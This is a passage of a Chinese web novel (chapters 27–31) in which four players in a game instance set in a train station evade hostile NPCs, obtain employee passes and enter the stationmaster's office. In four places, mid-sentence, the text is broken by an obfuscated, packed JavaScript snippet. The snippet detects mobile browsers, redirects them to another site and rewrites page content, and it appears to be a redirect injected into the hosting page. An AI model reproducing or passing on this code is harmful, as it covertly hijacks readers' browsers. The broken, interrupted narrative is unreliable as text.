“为了让我们以为自己在和真人竞争啊。”周小糖几乎没有犹豫地开口,“一个假玩家可以制造恐惧和混乱,制造死人的紧张感,如果再加上时间异常的假象,就会把我们真玩家的注意力全部引向时空错乱这个方向,浪费我们的时间和精力去解一个根本不存在的问题,这种垃圾事,它一向如此,不是吗?” 她合上本子,目光坦然地迎上柏临深的注视:“我不想浪费时间去解假问题,所以我才来找你们。你们刚才可能发现了一些有意义的东西,但如果这些东西建在一个假玩家的干扰上,方向就会被带偏,所以我需要你们的判断,你们可能也需要我这个不同视角的推理吧。那么,你们觉得他是真人,还是假的?” 柏临深又思索了片刻,没有直接给出判断。 他偏头看了看走廊尽头那个清洁工还在机械拖地的方向,又收回目光看向岳均生,两个人交换了一个短暂的对视。 “现在的信息量是不够的。”柏临深说,“不管他是真人还是假人,死了之后又重新出现这件事,就直接说明了副本的规则和我们最初想的不一样。” 周小糖点了点头,没有再追问。 她似乎对柏临深这种的态度并不意外。 岳均生适时地把话题往实用方向引了一步,他问:“你们刚才说一直在收集情报,除了那个花臂,还发现什么?” “我们刚刚去了商业区。”周小糖重新翻开本子,翻到用不同颜色标签纸隔开的那一页,“我怀疑第七天是所有时间线的交汇点,或者说终点。” 她停了一下,补充道:“这个判断和我刚才说的假人不矛盾,或者可以这样理解,游戏,它可以一边投放假玩家制造干扰,一边在物理线索里埋真规则,关键在于,我们是怎么把两条线拆开的。我个人倾向于相信物理线索,因为副本里骗人的东西永远比说真话的多,但时间不会骗人。” “这句话倒挺像那么回事儿。”岳均生嘴角不易察觉地弯了一下。 周小糖没有理会他语气里的调侃,转头看向柏临深:“所以我想跟你们暂时搭伙,如果加玩家的假说成立,那个花臂男人后续可能还会出现在别的地方,他……虽然很不想承认,但他攻击性还挺强的,不是吗?一个人应付他风险太高,四个人一起走,至少多几双眼睛,而且我们在商业区收集的数据目前还没有和其他的区域做交叉验证,而你们的搜索方向看起来是要去很多地方,那么我们为什么不情报共享,各取所需呢?” 她这番话说得条理清晰,从风险分析到资源匹配再到行动方向,每个环节都踩在合作谈判的关键点上。 岳均生听完,看了柏临深一眼。 “暂时搭伙,可以。”岳均生替两人表了态,语气比刚才面对花臂壮汉时真诚了不少,“不过有些事情还是得事先说好,规则先讲清楚。我们的情报现在开始共享,但各自的保命手段和资源暂时不互通,如果后续遇到必须分散开来的极端情况,我们还是先各管各的,这样,你同意吗?” “我同意,这很正常。”周小糖干脆点头。 程宇在她身后也跟着点了点头。 “OK,提前预祝合作愉快,那接下来我们就抓紧时间开始行动吧。” 柏临深冲他们笑笑,然后率先转身,招呼大家往候车大厅正中央的方向走,“既然你说数据还没和其他地方进行过交叉验证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523207|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那我们接下来就去验证这一步。” “那我们就先往地下走吧?”周小糖跟了上去。 地下换乘通道的入口在候车大厅东侧尽头。 入口没有明显的标识,只有一个挂在墙上的指示牌,上面写着“换乘通道”四个字,下面加了一行小字:“B站台请走此方向。” 箭头指向一段往下延伸的楼梯。 楼梯上方的日光灯管忽明忽暗,台阶上也有厚厚的灰,和楼上候车大厅明亮干净的环境完全不同。 柏临深走在最前面,楼梯很长,比普通的站台换乘通道要深得多,两侧的墙壁上贴着褪了色的乘车指南和几张被撕了一半的安全须知。 程宇走在最后面,推了推眼镜,小声说了一句:“这个深度,感觉不止到地下一层。” 走完最后一级台阶,面前是一条宽阔的地下换乘通道。 挑高比楼上候车大厅低了很多,天花板上的灯管有一半已经坏了,剩下的也在时不时地闪烁。 墙上贴着一张站台分布图,从B1到B12依次排列。 岳均生走到分布图前面,用手指沿着B1往后数,一直数到B8,B9到B12的标注被一块褐色的水渍糊住了,勉强能看出轮廓,但具体的通道走向完全不可辨。 “B1到B8都在明面上。”他说,“B9往后,连这张图都懒得画清楚。” “说明B9到B12不是常规通道。”周小糖凑过去看了看那张图,然后点了点B12的位置,“但既然图上有标注,就说明它们存在,只是通往它们的路线还需要我们挖掘。” 柏临深没有在分布图前停留太久,他沿着通道往前走了一段,目光扫过两侧的墙壁和地面,地下层的结构和楼上完全不同。 楼上候车大厅是开放式的,视线可以一眼扫过大半个空间,但地下层则是走廊套着走廊,岔口连着岔口,每条通道的宽度都只够三四个人并行,墙壁上到处都是各种管道和线缆的检修口。 “这种结构……”岳均生跟上来,压低声音说,“打起来可不好跑啊。” “嗯。”柏临深应了一声,“我一直在记路线。” 四人沿着通道往深处走,依次经过B1到B4的站台入口,每个入口都被卷帘门封死,金属卷帘上贴着相同的封条:“设备检修,暂停使用。” 封条的纸质很新,和周围落了灰的墙壁形成了鲜明的对比。 岳均生试着推了一下B3的卷帘门,纹丝不动,锁得严严实实。 周小糖蹲下来检查了一下封条的边缘,抬头说:“封条上没有灰尘,是最近才贴上去的,但门把手可以拧一小段,不像是经久不动的样子,所以卷帘门后面确实有站台,只是不许我们进。” “至少不许我们现在进。”岳均生站起来,拍了拍手上的灰,“可能和时间节点有关,第七天之前,有些区域是锁死的。” 四人继续往前走,经过B5到B8入口时,情况大同小异。 但B8入口旁边有一个不起眼的岔口,被半面消防宣传板遮住了大半。 柏临深侧身绕过去看了一眼,发现岔口里面是一条更窄的通道,宽度只容一人通过,两侧墙壁上排满了金属管道和电线,脚下的地砖有一半已经松动。 “这边,小心点。”他回头叫了一声。 三人跟上来,岳均生打头侧身挤进了窄通道。 柏临深在前方带路,他走了几步之后,忽然停住了。 通道尽头的墙角里缩着一个人影。 人影蹲在地上,身上穿的是车站工作人员的制服,但制服上全是灰,袖口有一块颜色明显比其他地方深。 “活的还是死的?”岳均生低声问。 这句话刚落下,前面的人影缓缓站了起来,全身的骨骼发出“咔咔咔”的声音。 “你……你说这话干嘛啊!”程宇颤抖着说,他瞪着那个诡异人影,都快哭出来了。 人影脸上的表情在昏暗的环境下看不分明,他动作极其僵硬地转过身来面朝柏临深等人。 虽然看不清,但他们明显感觉到那人的视线是落在他们身上的。 人影整个人的姿态从僵立变成了稍微前倾的角度,断断续续地开口:“此区域,非、工作人员,禁止、进入。” 柏临深往后退了半步,快速道:“跑。” 28. 第 28 章 “跑!” 柏临深这个字刚出口,岳均生已经一把拽住周小糖的后脖领子扯着她往后跑。 四个人在窄通道里根本跑不开,只能侧着身子往回挤。 岳均生打头,周小糖跟在他后面,程宇在中间踉踉跄跄,柏临深断后。 身后那个人影从墙角走了出来。 他的步伐黏稠地追着逃跑的几人,但速度又不低,追着追着从怀里掏出一把螺丝刀向前方几人的后背抛过去。 柏临深抬手挡掉扔过来的螺丝刀,一边面朝人影往后狂退,余光不断扫过两侧墙壁,时不时伸手扒拉下来墙壁上歪歪斜斜挂着的螺丝钉扔向人影,企图给他制造一些障碍拖延速度。 “均生!”他朝前面喊,“转角之后有没有岔路?” “没有!一条直道通到底!”岳均生的声音从前面传回来,混着其他人急促的喘气声。 四个人在直愣愣的过道里被一个手持各种武器的npc追,空间还这么狭窄,几人心里都憋屈得不得了,被追出一股无名的火气。 柏临深边跑目光边落在前方那个松动的检修口盖子上,从兜里摸出两粒种子抛在空中催动异能,绿色的藤蔓凭空生长,随着他的指引攀到了前方的盖子上,将盖子扒了下来。 岳均生还是第一次看到柏林深使用异能,看着空中肆意生长缠绕的藤蔓,他惊叹地吹了声口哨。 “牛x!” 盖子后面是管道井,空间也很窄,但容一个人侧身钻进去没问题。 柏临深伸手让藤蔓抓住那块盖子的边缘用力往下一掰,最后一枚螺丝崩开,盖子当啷一声掉在地上。 “进去!”他朝前方几人喊道,“一个一个进!均生你先进去看那头通不通!” 岳均生二话不说快速跑动几步猛地起身攀爬挤进了管道井。 他蹲着往前行进,催动异能感受着脚下的土,脚步声在金属管道里发出空荡的回响,过了大概两三秒,声音从另一头传过来:“通的!我感受到了!” “程宇,下一个!”柏临深边催动藤蔓阻挡着追过来的人影边回头向剩下的两人喊。 程宇站在管道井入口,脸色莫测地盯着那个黑漆漆的洞口。 他的手攥着圈头,攥得指节发白。 “我、我有点……” 身后人影的脚步越来越近,与地面摩擦的声音越来越大。 周小糖狠狠往他屁股上踹了一脚:“特么的,你犹豫什么呢!给姐爬啊!” 说完也顾不上礼貌直接蹲下托着他的屁股往上送。 “你、你别!”程宇吓了一大跳,哆嗦地说,“我爬!我自己爬还不行吗!你放手!” 周小糖压根没理他的抗议,双手继续托着他的屁股使劲往上送,膝盖在管道口的金属边缘上磕了好几下,疼得她龇牙咧嘴,嘴上也没闲着:“爬快点!别磨蹭!后面那东西离咱们不到十米了你看不到吗!” 程宇被她连推带踹地塞进了管道口,手忙脚乱地往里爬,肩膀在管壁上蹭掉了一块布,整个人都哆哆嗦嗦又慌慌张张的。 周小糖跟着双手扒住管口边缘,一个引体向上把自己利索地撑了进去,动作比程宇快了一倍不止。 她钻进去之后没有马上往前爬,而是回头朝管道外看了一眼。 柏临深在她之后进了通道里,几根粗壮的藤蔓从里向外延伸出去,在管道井的入口处织成了一张结实的藤蔓网。 那个npc一钳子砸在藤网上,藤蔓被砸得剧烈晃动,但没有断开。 柏临深一边维持着异能一边转身向管道前面快速爬。 “快走!”他朝身前还在回头看的程宇吼了一声,“别看了,那网撑不了太久!” 三人弓着腰在管道井里往前猛爬。 程宇在最前面打头阵,被身后两人推着催着不敢停。 爬了很久终于看到前方的一点亮光,岳均生从管道另一头的亮光处伸进半个脑袋,一只手也递了进来:“快来!这边出口接的是B5侧廊,暂时没看到别的npc!” 程宇手忙脚乱地攀住岳均生的手,被他连拉带拽地拖出了管道口。 周小糖紧跟着翻身出去,落地的时候脚踝崴了一下,她脸上闪过一丝难受但还是咬咬牙扶着墙站稳了。 柏临深最后一个翻出来,出了管口还能听到管道另一头的哐哐砸墙声,但还好那个npc身手不够矫健爬不过来。 程宇靠着墙滑坐到地上,大口喘着气,眼镜歪到了耳朵根,额头上蹭了两道黑印子。 岳均生靠在墙上呼吸了几口气调整了下,他凑过来一脸兴奋地对柏临深说:“临深你刚才那个异能,过会儿能不能再来一次我看看,太帅了我了个豆啊。” “再等等吧,短时间内还不行,种子有限。”柏临深摊开手掌给他看了一下掌心剩余的几粒种子,然后收回兜里,“回头出去了给你表演个大的。” 岳均生伸出左拳头砸了砸右肩膀,又来回指指他俩:“好兄弟,一豆子。” 柏临深被他逗笑,摇摇头笑着喘着气靠在墙上调整呼吸。 周小糖没参与他们的闲聊。 她靠在墙边,把脚踝悄悄转转,活动了两圈,确认没伤到骨头之后弯腰捡起刚才跑掉的笔和本子。 “刚才那个npc,”她打开本子边写边说,“看起来是个电工,跟上次清洁间那个是不是同一类型?触发条件都是我们进入了不该进的区域,但能力方面,似乎又有差别。” 柏临深点头:“看起来活动范围也有边界,他们负责驱逐越界玩家,但不能离开自己的巡逻区域。但那个清洁工npc,没有主动攻击那个花臂男人,这个电工npc却主动攻击了。” “所以只要我们不越界,他们就不出现?” 程宇的声音还带着喘,他的手指还在轻微发抖,这会儿好歹能说出完整句子了。 “至少现在出现过的这几个npc都是在不该进的区域触发的。” 柏临深弯下腰拍掉膝盖上的铁锈灰,“但我们想找B9之后的入口,不可能不越界。换个角度想,这些npc在把守着的,可能就是我们想找的地方,越是不让进的区域,越有可能藏着通往B12的路。” “那,刚刚这个电工npc,他守着的是什么呢?”周小糖叼着笔头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535927|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考。 “别咬,脏不脏啊。”岳均生伸手从她嘴里伸手拿出笔,又蹲下去看着她的脚踝,道:“刚才我就想说了,你的脚腕是不是受伤了?” 周小糖瞪大眼睛看着岳均生,一时间竟不知道该先计较他从自己嘴里把笔抽走这件事,还是该惊讶于他有注意到自己脚受伤了这件事。 她张了张嘴,脑子里的分析链条难得断了一拍。 “你怎么随便从我嘴里拿东西!”她先选了比较好发作的那一件,伸手去抢笔。 岳均生把笔举高到头顶,另一只手指了指笔尾被她咬得全是牙印的塑料笔头:“这上面多少细菌你知道吗,掉地上的东西你也敢往嘴里塞。” “我……”周小糖一时语塞,因为她确实有这个毛病,现实中的亲友也说过她不止一次。 她噎了一下,竟然一时不知道该怎么反驳,转而选择说第二件事:“还有,你怎么知道我脚受伤了?” “废话,你刚翻出来的时候落地姿势明显歪了一下,站起来之后还不敢使劲靠在墙上。我要连这点观察力都没有,早在这破游戏里死了八百回了。” 岳均生把笔还给她,然后蹲下去看着她脚踝的位置,“崴了还是扭了?严重不严重?我看看。” “不用,没什么大事,就是绊了一下。回去再说吧,办正事要紧。” 周小棠把脚往回收了收,不太习惯被人这么盯着看伤处,她说这话的时候语气已经恢复了正常,但耳朵尖有一点点不太明显的红。 柏临深在旁边看着这一幕,嘴角微微弯了一下,说:“我来看看吧,我的异能有一些治愈的功能,现在刚好恢复了一些。” “我勒个豆啊,临深,不愧是我深哥。”岳均生举起手比了个大拇指,“我都不敢想象如果我没有遇到晏道长和我深哥那我将会在这狗登游戏里过着怎样凄惨无聊又可怜的日子。” “行了,别贫。”柏临深失笑道,“等汇合了让我哥也给你露一手。” 碍于还有外人在场,他并没有细说,转而蹲下查看周小糖的伤势。 柏临深手指轻轻按在她脚踝外侧的骨头上,指尖透出一层淡淡的的绿色的光。 “忍一忍,不要动哦。”他说。 “好,谢谢你。” 周小棠不自在地僵了一下,然后努力让自己放松。 那层绿光带着微微的凉意渗进皮肤,扭伤处的灼热感像被抽丝一样一点一点往外褪,她能感觉到肿起来的地方正在以肉眼可见的速度平复下去。 整个过程持续了不到半分钟。 “好了。”柏临深收回手,站起来活动了一下手指。 周小棠低头看了看自己的脚踝,又抬头看了看他,眼里满是钦佩:“好厉害!真的不疼了!真的谢谢你!” 岳均生从旁边探过头来,看了一眼周小棠的脚踝,又看了一眼柏临深的手:“深哥你这异能也太好使了,下次我受伤了也得给我整一个。” “你少咒自己。” 程宇在一旁瑟缩着观察,镜框后的眼睛里有些探究,他扶了扶眼镜半晌冒出一句:“你的异能还挺厉害的,之前没见过。” 29. 第 29 章 柏临深看了程宇一眼,点了点头,没有在这个话题上多展开。 他把目光收回来,在地砖上画了一幅车站的简易分布图,用手指在清洁工所在区域和电工所在区域之间的交界线上轻轻一划。 三条横线代表换乘通道,几个叉代表触发过NPC的位置,中间留白的区域画了一道蜿蜒的虚线。 “清洁工在主干道,电工在B8窄通道。”他的手指在两个叉之间划了一道弧线,“两个辖区中间隔了至少两条横向走廊。电工追我们的时候,追到了差不多管道口但位置。” “他们不能越界,但我们可以。”岳均生蹲在旁边,手肘撑在膝盖上,“那我们只要记清楚每个Npc的触发位置和追击距离,下次再踩进去之前先算好退路。” “可以。”柏临深说,“但光躲也不是办法,售票机在哪、怎么买票、站台怎么进……这些信息我们到现在一个都没拿到,想拿到信息,现阶段我们就必须得跟npc打交道。” 程宇坐在旁边的候车座位上,膝盖蜷在胸前,说:“可是,以之前碰到的两个npc来看,哪个都不像是能坐下来聊的。” “不一定哦。” 周小糖把本子翻到刚才速记的那一页,“清洁工对花臂只重复固定台词,而电工说的是非工作人员禁止进入,这句话本身就是在定义身份,他把我们判定为非工作人员,说明我们没有某种凭证或许可,然后他才在这个判定基础上发动攻击。这两个npc的行为逻辑有明显差异,一个只认区域不认人,一个先认身份再动手。如果这些npc覆盖了整个地下层的管控区域,那在这两种之间,大概率还有别的类型,比如能正常对话的、能接任务的、能交易物品的。” “有道理。”柏临深看了她一眼,人已经站了起来,说道,“值得试试。” “走吧。”岳均生把墩子玩偶往腰间一别,“争取时间。” 柏临深推开防火门,探出半截身子扫了一眼外面,回头示意后面的人跟上,率先侧身挤了出去。岳均生跟在他后面,然后是程宇,周小糖最后出来,顺手把防火门虚掩回原来的角度。 B5候车室外面是一条横向的换乘通道,右手边是B4方向,左手边往B6的方向看去,视线尽头是一排锁着的站台入口和两侧的商铺。 两侧的商铺全拉下了银灰色的卷帘门,只有门头上的招牌还亮着,红的蓝的光在地上拖出长长的残影。 自动贩卖机立在拐角,屏幕亮着,里面的饮料摆得整整齐齐。 岳均生走过去按了一下矿泉水的按钮,机器发出一阵刺耳的嗡鸣,出货口空空如也。 他又按了几下,机器干脆直接黑屏了。 “得了,摆设。”他踹了踹机器腿。 “前面有个便利店。”周小糖指着前方卷帘门拉了一半的亮着灯的便利店,远远看去里面似乎有工作人员的身影。 四人放轻脚步走了过去。 便利店的玻璃门擦得一尘不染,里面的货架上琳琅满目,饮料零食方便食品,摆得满满的。 一个穿着橙色工服的女店员正站在货架前,拿着一块抹布反复擦着隔板。 柏临深几人互相看一眼彼此,然后相继推开门走了进去。 门口的风铃“叮铃”响了一声,店员没有回头。 “你好,结一下帐。”柏临深拿了四瓶矿泉水走到结账台对店员说。 店员停下了擦拭的动作,慢慢走到收银台打出小票:“二十块。” 柏临深从钱包里掏出两张十元纸币递过去,一边问道:“我们想坐G777次列车离开,这里能买票吗?” “不能。”店员说,“购票请至自动售票机或人工售票窗口。” “人工窗口在哪?”他问。 “一楼售票大厅。”店员顿了顿,补充了一句,“现在已经暂停服务。” “暂停服务?为什么暂停服务?”柏临深追问道。 “站长离岗,无人值守。” 柏临深和岳均生对视一眼,都从对方眼里看到了一丝诧异。 这还是他们第一次从npc嘴里问出极有用的信息,并且还打听到了“站长离岗”地这个说法。 “那,请问自动售票机,在什么地方?”柏临深问。 “B1层,B8站台旁边。”店员面无表情回答道。 岳均生拧开一瓶水灌了大半瓶,抹了抹嘴:“行,那直接去B8吧。” “等等。”周小棠伸手拦住他,转头看向店员,“自动售票机,用现金支付可以吗?” 店员缓缓摇头:“用,社保卡。” 程宇手里的矿泉水瓶“咔哒”响了一声,他拧紧瓶盖,小声说:“社保卡?什么样的社保卡?现实……我是说,可以看看你的社保卡什么样吗?” 店员还真拿出自己的社保卡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542002|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的社保卡通体黑色,仅有照片、名字和编号。 “什么玩意儿。”岳均生啧了一声,“你们这还有这玩意儿呢,我连现……我连我自己的社保卡都没带进来。” “现金,不可以吗?”柏临深又看向店员问道。 店员又回到身后的货架,拿起抹布继续擦那块已经反光的隔板,显然不打算再主动多说一个字。 柏临深指尖轻轻敲着收银台边缘,目光扫过便利店墙上贴着的员工守则,守则最下面一行用极小的字印着: “本站所有票务事宜最终解释权归站长所有。” “站长……又是什么人呢?”柏临深看着这行小字思索道。 四人走出便利店,风铃叮铃响了一声,身后的玻璃门缓缓合上。 周小棠抬头看向通道尽头,那里立着一个半人高的蓝色指示牌,上面写着“票务咨询”四个白色大字,箭头指向右侧的拐角。 票务咨询台被一圈磨砂玻璃围着,里面坐着一个戴黑框眼镜的npc女人,穿着熨烫平整的藏蓝色车站制服。 她正低着头整理一沓厚厚的票据,每十张对齐,用橡皮筋捆好,放进左手边的铁盒子里,再拿起下十张,动作循环着。 柏临深敲了敲玻璃。 女人抬起头,厚厚的镜片反光,看不清她的眼睛,她静静地看着四人,等着他们提问。 “你好,我们想咨询一下购票的问题。”柏临深说,“我们没有带社保卡,还有没有别的办法能买到能够登上G777的车票?我们可以加钱。” “没有呢。”女人面带微笑回答。 “那有没有什么特殊通道?比如补票?或者找工作人员帮忙?”岳均生不死心,往前凑了凑。 女人没有回答,低下头继续整理票据。 周小棠的目光落在她手边的铁盒子上,那些票据的边角都印着烫金字样的列车号,她定睛看着,好像中间闪过去了一个G777。 “等一下!”她瞪大眼睛喊了一声。 “那些,是什么票?”周小棠指着铁盒子问npc女人。 女人的动作停了下来,她看向周小糖,回答说:“是员工通勤票呢。本站在编员工每月核发四张,免费乘坐任意列车。” 四人的眼睛同时亮了。 “员工票?”岳均生的声音不自觉地抬高了一些,带着兴奋,他又问,“那员工票能转让吗?” 30. 第 30 章 女人的微笑纹丝不动,回答得很干脆:“不可以呢。员工通勤票为在编员工本人使用,不可转让,查验时会核对工作证编号和票面信息的呢。” 岳均生那股刚提起来的兴奋劲儿被她一句话浇灭了,肩膀垮了半截,他扭头看柏临深,眼神里写满了“这副本是不是在针对我”。 柏临深没搭理他,目光还停在那个女人身上。 “那请问在编员工怎么认定?”他问,“你们这儿的编制谁说了算?我们有什么办法可以成为员工吗?” 女人把手里最后一沓票据对齐,套上橡皮筋,放进铁盒子里,然后抬起头,镜片反着天花板上惨白的灯光,看不清她的眼睛。 她不急不缓道:“在本站,所有在编员工的工作事宜,均需由我们伟大的站长大人签字认定。只有站长大人认定的员工,才有员工档案和工号。” “又是站长。”岳均生嘟囔了一句,“刚才便利店那个npc也说到了站长,一共几位站长啊?” “如此伟大的站长,当然只有一位。”女人推了推眼镜。 “也就是说,这座高铁站的权力集中在站长一人的手里。”周小糖说。 柏临深又看向票务员问:“站长现在在哪儿?现在是站长离岗期间,有没有代执行者之类的二把手?” “站长目前不在站内呢。”女人微笑回答,“站长离岗期间,所有需要站长认定的业务均暂停办理的呢。” “那站长什么时候回来?”他又问 “这个就不清楚了呢。” 柏临深盯着她看了两秒,她的表情没有变化,回答的措辞和便利店店员如出一辙。 “那如果我们想找站长,”柏临深换了个角度,“有什么渠道可以联系上?” “您可以前往站长办公区递交书面申请呢。站长办公区位于一层候车大厅东侧,办公区门口有意见投递箱,申请会在站长返岗后按提交顺序处理。” “等站长返岗……”岳均生重复了一遍,话里话外都有种被气笑了的无奈,“那得等到什么时候?站长回来之后又要排到什么时候?” “这个就不清楚了呢。” 柏林深无奈摇摇头,把目光从咨询台的玻璃上移开,转头看向其他人。 “走吧,我们先出去。” 所有事都卡在这个伟大的站长大人身上,他想。 这个车站把所有权力的开关都装在站长一个人手里,可现在,这个人不见了。 这给他的感觉,更像是副本刁难的一部分。 如果通关条件是登上G777,那找到站长很可能就是解锁条件的前置任务。 柏临深扫了一圈周围的环境,目光落在墙上那张《员工福利细则》上的红字:“本站所有规章制度由站长制定,受瞬墟集团总公司监督。 瞬墟集团总公司……如果站长是车站的最高执行者,那监管他的会不会就是游戏本身呢。 游戏既然在运行这个副本,就有义务维持副本的基本秩序,而站长此时擅离职守导致玩家无法通关,从游戏规则的角度来说,这算bug的吧。 既然是bug,负责监管的一方就得负起责任来。 甭管游戏这狗登虽然、好像、大概率,在之前,有没有负起过任何责任。 想到这里,柏临深差点笑出来。 打了这么多副本,这可能是第一次不得不靠游戏的帮助才能达成任务。 等流程是不可能的,等站长回来黄花菜都凉了个屁的了。 “我们投诉吧。”柏林深说。 “啥?”岳均生有点懵。 “投诉……谁?刚才那个npc么?”周小糖问。 “投诉站长。”柏临深说。 “哈?” “向谁投诉呢?站长他,不是这里的最高权力执行人吗?” “瞬墟集团,你们看那行字。” 柏临深把刚刚的想法说给他们听,岳均生的表情瞬间变成了“你在逗我”,但想了想又觉得好像有点道理。 “有道理,可以一试。”周小糖说。 “那我们怎么投诉?”岳均生把空水瓶往自动贩卖机上一搁,两手一摊,“这鬼地方连个信号都没有。” “瞬墟集团,不就是游戏吗……?”程宇在后面弱弱地举手说道。 岳均生沉默了一会儿,把搭在贩卖机上的手收回来,很认真地看着柏临深:“你的意思是,我们在游戏里,投诉游戏?” “对。” “这样能行吗?” “你还有别的办法?” 岳均生想了想,发现没有,于是很干脆地往墙上一靠:“那好吧,咳咳。” “狗……咳,游戏,在吗游戏?有事找你,收到请回答。” 【玩家岳均 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柏临深敲了敲玻璃。 女人抬起头,微笑依旧:“请问还有什么可以帮您的呢?” “我们刚才申请了临时员工通勤凭证。”柏临深说,“现在要怎么领取?” 女人把手里的票据放下,她的手指在键盘上敲了几下,惊讶地推推眼镜:“哦哦?是来自总集团的通知呢。” 31. 第 31 章 配电间门口那个电工npc看到四个人浩浩荡荡走过来,大嘴一咧就要叭叭。 “非工作人员、禁止……” 柏临深把临时员工凭证举到了他的眼前。 电工张大嘴对眼看着眼前的小卡片,他看看凭证,看看柏临深,又看看凭证。 逻辑崩溃中。 “让一下。”柏临深说。 电工往后退了半步,贴墙站着,眼睁睁看着柏林深从他面前走过去。 岳均生紧随其后,路过他身边时拍了拍他肩膀。 “哥们儿,早这样多好,都自己人。” “……” 岳均生从配电间出来的时候,手里多了半截粉笔。 也不知道从什么地方抠出来的,他一边走一边在墙上画了颗歪歪扭扭的星星,旁边写了个“到此一游”。 “你是小学生春游吗。”周小糖头都没回吐槽道。 几人继续往前走,岳均生一边抛着半截粉笔,一边开口:“这张卡可真好用,有了它,那些锁着的区域里不管藏着什么,我们都能混进去看看。” “所以现在的目标很明确,我们拿凭证换信息,找到登上G777的具体方法,具体是车票、站台坐标、还是什么别的,得进去了才知道。”周小糖说。 程宇走在最后面,眼神落在前方几人身上,不知道在想什么。 走廊另一头忽然传来一声闷响,紧接着是金属撞击和一个人的粗嗓门。 ……这声音太熟了。 四个人同时停住了脚步。 拐过转角,只见花臂壮汉正站在设备区走廊和换乘通道的交界处,和一个穿保安制服的npc扭打在一起。 保安手里攥着一根橡胶棍,花臂壮汉徒手抓住了棍子的另一端,两人僵持在原地,谁都没占到便宜。 花臂脸上的横肉因为用力涨得通红,嘴里骂骂咧咧:“老子就是迷路了想找个出口你追我追了三条走廊你是不是有病!” “非工作人员禁止进入设备区,请立刻返回候车大厅。”保安一边往回拽警棍一边跟他强调。 岳均生看到这一幕,忽然转头看柏临深。 两人几乎同时想起来,刚进副本的时候,花臂壮汉噶了就是因为在站长办公区门口硬闯。 那时候他们没有员工凭证,花臂也没有。 但现在不一样,鸟枪换炮,他们的设备升级了。 “我们是不是可以……” “好!” 一切尽在不言中。 柏临深想了想,往花臂的方向走去。 他走过去把临时员工凭证往保安面前一举,保安看到证件,手上力道松了半拍,花臂趁机把橡胶棍夺下来往地上一摔。保安退了两步,眼睛看着他手里的凭证,不再上前。 花臂喘着粗气看着柏临深,又看了看他手里的凭证,瞪着眼睛半晌,脸憋得通红,冒出来一句:“谢了啊。” “小事不必放在心上,但是先生,辛苦你在候车大厅A区等一等我们,有很重要的事情相商,一定要等等我们啊!” 柏临深跟他交代一句,然后带着队友们往站长办公区的方向走了。 站长办公区的在候车大厅东侧,那扇之前花臂壮汉第一次冲进去就再也没出来的玻璃门此刻正虚掩着。 刷卡推开门,走廊两侧的日光灯亮得干净均匀,墙上挂着几幅车站建成时的老照片,地面一尘不染,和地下层那些忽明忽暗满地灰尘的走廊不同,这里安静得像另一个世界。 办公区的尽头是一扇深灰色木门,比设备区那扇防火门矮了一截,但看起来十分厚重。 门边墙上嵌着一块黄铜铭牌,刻着“站长室”几个字,木门边上装着电子门禁,屏幕是待机的状态,旁边有一个数字键盘。 柏临深把临时员工凭证贴上去,屏幕闪了一下,弹出一行字:“权限不足。请使用指定密码解锁。” 岳均生见状暗骂一句,又道:“这要我们去哪找到密码。” 柏临深盯着屏幕想了片刻,从口袋里摸出一样东西。 那是一枚很有质感的卡片,半个巴掌大,绿色表面刻着一圈极细的符文,看起来是个高级道具。 “事到如今只能把你用了,没办法,再不用怕是没机会用到了。” 柏临深小小地叹口气,他把卡片贴在门禁屏幕上,一边往里输入异能。 卡片上的符文亮了起来,门禁屏幕上的密码输入框开始自动跳动,跳得越来越快,看起来像是被卡片暴力破解了。 柏临深额角渗出一层薄汗,手背上的青筋微微凸起,卡片发出的的光芒正在以肉眼可见的速度变暗。 屏幕弹出一行字:“验证通过。” 门锁咔嗒一声弹开,柏临深把卡片收回口袋,推开了那扇灰色大门。 正对门口是一张深棕色实木办公桌,桌面整洁放置着笔筒、台灯、一叠文件,转椅被推到办公桌正中间,椅背上搭着一件叠好的制服外套。右手边整面墙被改成了白板,上面画满了复杂的连线图和几何结构,几条不同颜色的线交织在一起,最后汇聚到同一个节点。左手边立着一个铁皮文件柜,柜门半开着,里面整齐地码着几排文件夹。 空调出风口还在往外送着冷气,办公桌角上搁着一只白瓷茶杯,杯底留了小半杯凉掉的茶,茶汤还是清亮的,感觉喝茶的人只是出去办个小事情,马上就会回来的样子。 